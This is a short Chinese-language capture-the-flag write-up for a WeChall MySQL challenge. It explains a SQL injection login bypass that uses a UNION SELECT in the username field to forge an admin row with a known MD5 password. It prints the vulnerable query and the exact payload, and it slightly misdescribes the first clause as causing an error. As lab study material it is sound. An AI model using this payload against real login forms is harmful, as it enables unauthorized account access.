分析

从代码可以看到username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

查询代码:

$query = "SELECT * FROM users WHERE username='$username'";

username一栏填写123' union select 1,'admin',md5('password');#

构成sql语句:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');#'

由于最后有个注释符号,所以相当于:

SELECT * FROM users WHERE username='123' union select 1,'admin',md5('password');

这句话首先通过username=123将原语句报错。因此返回的将会是第二条语句产生的信息。

而我们union select的是直接构造了用户名为admin,密码为password的md5值。这样就可以让程序误认为我们构造的信息就是它从数据库里面提取得到的信息。

验证密码正确是通过判断: $result['password']$password 是否一致。

$result['password']是用union构造的,因此password一栏填写password即可登录成功。

总结

username填写 123' union select 1,'admin',md5('password');#
password填写 password


参考:
WeChall mysql WriteUp - Bendawang's Blog - CSDN博客
WeChall writeup | 瓦都剋